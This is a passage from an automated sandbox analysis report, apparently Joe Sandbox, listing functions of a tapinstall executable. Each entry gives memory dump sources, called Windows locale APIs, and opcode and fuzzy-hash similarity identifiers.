                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 5eba3dce41e42bb5723036e8a9e38019e2b58d05b121c9b7702cd6f0e866c16f
                                                                                                                  • Instruction ID: 1cb03f1fdbb1d70e8c6d10a0cc8ee21ca254ad4973c887b2f03dc08fd4514253
                                                                                                                  • Opcode Fuzzy Hash: 5eba3dce41e42bb5723036e8a9e38019e2b58d05b121c9b7702cd6f0e866c16f
                                                                                                                  • Instruction Fuzzy Hash: 2002ED21A19B4645FB50BB11B40027DA694AFC1BB0FC9473ADE7F463D1EEBDE48183A0
                                                                                                                  Function 00007FF7FEE12160 Relevance: 1.9, APIs: 1, Instructions: 371COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Info
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1807457897-0
                                                                                                                  • Opcode ID: 0d4af5a3afae456f38438869c21824332240df2c44c52117edcedc5ea83f20a3
                                                                                                                  • Instruction ID: bede4ad482ebe9dc9993c91ff8a6e222151d959036a5c51a536a3391ae5dd005
                                                                                                                  • Opcode Fuzzy Hash: 0d4af5a3afae456f38438869c21824332240df2c44c52117edcedc5ea83f20a3
                                                                                                                  • Instruction Fuzzy Hash: 8812B122A08BC186E751DF28A4046FDB3A4FB98748F859235EFAD43692DF78E1D4D350
                                                                                                                  Function 00007FF7FEE12920 Relevance: 1.8, APIs: 1, Instructions: 336COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: 7e3abf74bf7bcf05ea57da7a9d2ca99921f0183db8ab875d81e5133ab0ee468f
                                                                                                                  • Instruction ID: 7528936a40eb17d1e1010fa79c5f997bcde422c22566ab54054455172571d06a
                                                                                                                  • Opcode Fuzzy Hash: 7e3abf74bf7bcf05ea57da7a9d2ca99921f0183db8ab875d81e5133ab0ee468f
                                                                                                                  • Instruction Fuzzy Hash: 30E17D32B04B8185E710EB61E8406EE67A4FB98784F814631DFAE53782EFBCD285D350
                                                                                                                  Function 00007FF7FEE0E810 Relevance: 1.6, APIs: 1, Instructions: 148COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID:
                                                                                                                  • API String ID:
                                                                                                                  • Opcode ID: e1ecf19e44403f1bf0c8ff516f15394491a0df2bb93855bb1154bab4b69c0414
                                                                                                                  • Instruction ID: becd40a907528641a07e74727c7d2345208c66e7a70dda84770064ae3aaa48e2
                                                                                                                  • Opcode Fuzzy Hash: e1ecf19e44403f1bf0c8ff516f15394491a0df2bb93855bb1154bab4b69c0414
                                                                                                                  • Instruction Fuzzy Hash: 5251B122B0869144FB20AB76BD001AEBBA4BB847D4F944235EFAE57AD5DFBCD001C750
                                                                                                                  Function 00007FF7FEE15120 Relevance: 1.6, APIs: 1, Instructions: 70COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: GetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE075F7
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: SetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE07695
                                                                                                                  • GetLocaleInfoW.KERNEL32 ref: 00007FF7FEE15188
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLast$InfoLocale
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3736152602-0
                                                                                                                  • Opcode ID: 2daf3a8a6570d13e4a69e0773b16970abee15f26fc3cb4f4b112bd2ae792f481
                                                                                                                  • Instruction ID: 1141f8b98e78c80d74cbfbf02a21508c624e022bc66754f7cb3c480700ada373
                                                                                                                  • Opcode Fuzzy Hash: 2daf3a8a6570d13e4a69e0773b16970abee15f26fc3cb4f4b112bd2ae792f481
                                                                                                                  • Instruction Fuzzy Hash: F1318432B0868286FB65AB25F4413AEB2A1FBC4780F808175DA6E836D5DF7CE5588750
                                                                                                                  Function 00007FF7FEE14D3C Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: GetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE075F7
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: SetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE07695
                                                                                                                  • EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7FEE1557B,?,00000000,00000092,?,?,00000000,?,00007FF7FEE027F1), ref: 00007FF7FEE14DDA
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2417226690-0
                                                                                                                  • Opcode ID: b310e04edf9a4858b7711b1bc3cd10a3b5863322fdd0602e956277415e6d3450
                                                                                                                  • Instruction ID: e9c07402e5bf1c4b139d53a18e9118222d8ed8ef589a46a86abbbab3fbcf68fb
                                                                                                                  • Opcode Fuzzy Hash: b310e04edf9a4858b7711b1bc3cd10a3b5863322fdd0602e956277415e6d3450
                                                                                                                  • Instruction Fuzzy Hash: 6B11A563E1864586FB14AF15E0406ACB7A1E7D0FA4F859135C62A433D4CFACD5D5C790
                                                                                                                  Function 00007FF7FEE1534C Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: GetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE075F7
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: SetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE07695
                                                                                                                  • GetLocaleInfoW.KERNEL32(?,?,?,00007FF7FEE150CD), ref: 00007FF7FEE15383
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLast$InfoLocale
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3736152602-0
                                                                                                                  • Opcode ID: f0e1e85cb0904cfb13678112b23ba47b692ebdb17e326b7273fc79358d1f6376
                                                                                                                  • Instruction ID: 3d8e970166b06c5debbaf2228418ff8f3f43180c4a071a830ac8ee026cbe7ad2
                                                                                                                  • Opcode Fuzzy Hash: f0e1e85cb0904cfb13678112b23ba47b692ebdb17e326b7273fc79358d1f6376
                                                                                                                  • Instruction Fuzzy Hash: BB112322A1C69682F7646B12B04027DA2A0EB80774FD01132EA3B036D8DEFDD8C58790
                                                                                                                  Function 00007FF7FEE14E0C Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: GetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE075F7
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: SetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE07695
                                                                                                                  • EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7FEE15537,?,00000000,00000092,?,?,00000000,?,00007FF7FEE027F1), ref: 00007FF7FEE14E8A
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2417226690-0
                                                                                                                  • Opcode ID: e95a6f0b37c8df2f7d892436cbea75250c8106ecf43136de523b6d98b723d434
                                                                                                                  • Instruction ID: af0044082a78fed0d7ad3fa6ebd0df5dab2b259c58a0564777127ddb4ba50482
                                                                                                                  • Opcode Fuzzy Hash: e95a6f0b37c8df2f7d892436cbea75250c8106ecf43136de523b6d98b723d434
                                                                                                                  • Instruction Fuzzy Hash: 0801C062A0C28186F7146B55F440BADB6A1EB80BB4F858231D27A0B2D4CBAC94C88790
                                                                                                                  Function 00007FF7FEE07A70 Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF7FEE08911,?,?,?,?,?,?,?,?,00000000,00007FF7FEE14244), ref: 00007FF7FEE07ABF
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: EnumLocalesSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2099609381-0
                                                                                                                  • Opcode ID: 0c79f0349c4a0605245a055538df7ef28e0d12ebb44365a436a3ebf26f8b2171
                                                                                                                  • Instruction ID: 92850d9a684b96be898c3df1b4c04aa1e1bbef8ddfa3e88e9ccbfd3ff0e05f8c
                                                                                                                  • Opcode Fuzzy Hash: 0c79f0349c4a0605245a055538df7ef28e0d12ebb44365a436a3ebf26f8b2171
                                                                                                                  • Instruction Fuzzy Hash: CDF08171B08A4187F704EB25F8401AAB365EBD8BC0F844135EA6E833A5CF7CD5A0D390
                                                                                                                  Function 00007FF7FEE14CB8 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: GetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE075F7
                                                                                                                    • Part of subcall function 00007FF7FEE075E8: SetLastError.KERNEL32(?,?,?,00007FF7FEE17232,?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B), ref: 00007FF7FEE07695
                                                                                                                  • EnumSystemLocalesW.KERNEL32 ref: 00007FF7FEE14CFF
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2417226690-0
                                                                                                                  • Opcode ID: 37355801d101d15e73ed97373d1325733675572864da2e4454ebca36426ced02
                                                                                                                  • Instruction ID: 05261d0ed8170b247c4a10984ea6f359c293b22bbf5f165726f6e921024b689d
                                                                                                                  • Opcode Fuzzy Hash: 37355801d101d15e73ed97373d1325733675572864da2e4454ebca36426ced02
                                                                                                                  • Instruction Fuzzy Hash: 28F05EA2A0878581FB15AF65F4403ADBBE1EBD0BB4F858271D67A833D5DABC84948340
                                                                                                                  Function 00007FF7FEE07B7C Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: EnumLocalesSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2099609381-0
                                                                                                                  • Opcode ID: a3705e45a4f268f33fd337935757e13d22bf4229caecad54140b34f6bcf306e8
                                                                                                                  • Instruction ID: 6eaca77b071b963b02e78d6b42d35d236ad503f190c0457983dc8bb77596c7ad
                                                                                                                  • Opcode Fuzzy Hash: a3705e45a4f268f33fd337935757e13d22bf4229caecad54140b34f6bcf306e8
                                                                                                                  • Instruction Fuzzy Hash: A0E06DB0A09A0189FB40EB11FC441257761ABD8FD0FC05035D92F473A4DFBCD195A350
                                                                                                                  Function 00007FF7FEE07BF8 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: EnumLocalesSystem
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2099609381-0
                                                                                                                  • Opcode ID: ae0b7570886a34609fae074dd6b97874d1210b0956683149f338bd6385165f94
                                                                                                                  • Instruction ID: fc48bb8f34fc9b035a9769aa51eedf95d35354fcc88c1505ded814b538ecf923
                                                                                                                  • Opcode Fuzzy Hash: ae0b7570886a34609fae074dd6b97874d1210b0956683149f338bd6385165f94
                                                                                                                  • Instruction Fuzzy Hash: 2AE0DF30E09A0289F300BB51FC04271B620ABE8B80FC00134ED1F133A49FBC92A5A350
                                                                                                                  Function 00007FF7FEDF56FC Relevance: 1.5, Strings: 1, Instructions: 213COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 0-4108050209
                                                                                                                  • Opcode ID: 3298bf67b1f0c2be8d215b1ef692e2ed5dc4bc9733db5a3918195495d45e186b
                                                                                                                  • Instruction ID: 5b7ccce8280fcd28eb5d75e6184916b3f351e06e5226078e82e2b968456ae1b4
                                                                                                                  • Opcode Fuzzy Hash: 3298bf67b1f0c2be8d215b1ef692e2ed5dc4bc9733db5a3918195495d45e186b
                                                                                                                  • Instruction Fuzzy Hash: BE81D425E1828A86FB68FA296040279A691EFC0744FC45131DDBD0BEDDCE2DEC4387E5
                                                                                                                  Function 00007FF7FEDF3F10 Relevance: 1.5, Strings: 1, Instructions: 210COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID:
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 0-4108050209
                                                                                                                  • Opcode ID: e4dced8d68a820e1a1d04cc35ed3aba3688103cc88bf653a2760244175f13c08
                                                                                                                  • Instruction ID: 3bf0a83d06905d1c0c1593f5f845d30759383bcbf7a97205e8b23e8288d84050
                                                                                                                  • Opcode Fuzzy Hash: e4dced8d68a820e1a1d04cc35ed3aba3688103cc88bf653a2760244175f13c08
                                                                                                                  • Instruction Fuzzy Hash: 4271B331A0C2C646FB68EA2990003BAE7A19FC1744F845135DD794BFDECE2DE84687E1
                                                                                                                  Function 00007FF7FEDF59DC Relevance: 1.5, Strings: 1, Instructions: 209COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 3215553584-4108050209
                                                                                                                  • Opcode ID: 1601ebb4a085dcb7d739bdd4eed40b615d2130470465d1318d301927c9e7c833
                                                                                                                  • Instruction ID: 2eb86f169c490633d8c427fbadafa5acc7b55e5341aed65510ead307f1f9cf89
                                                                                                                  • Opcode Fuzzy Hash: 1601ebb4a085dcb7d739bdd4eed40b615d2130470465d1318d301927c9e7c833
                                                                                                                  • Instruction Fuzzy Hash: 6571B125A1828A46EBA8FE2990406B9B690EFC0744FC45131DD7E07EDDCE2DEC4387E5
                                                                                                                  Function 00007FF7FEDF5430 Relevance: 1.5, Strings: 1, Instructions: 209COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: 0
                                                                                                                  • API String ID: 3215553584-4108050209
                                                                                                                  • Opcode ID: d97ce31363821d7e59ff7b95ab789dce6dae42c5463c516f708e9ad5742ae19f
                                                                                                                  • Instruction ID: 017cc98ad4c8e942eba9b3137e01a46db1ec68f80942bb308bef18f1d697b9a1
                                                                                                                  • Opcode Fuzzy Hash: d97ce31363821d7e59ff7b95ab789dce6dae42c5463c516f708e9ad5742ae19f
                                                                                                                  • Instruction Fuzzy Hash: 1571A115A182CB86EBA8FE1990006B9A692EFC0745FC45131DD7A07FDDCE2DEC4387A5
                                                                                                                  Function 00007FF7FEDF3C8C Relevance: 1.5, Strings: 1, Instructions: 206COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
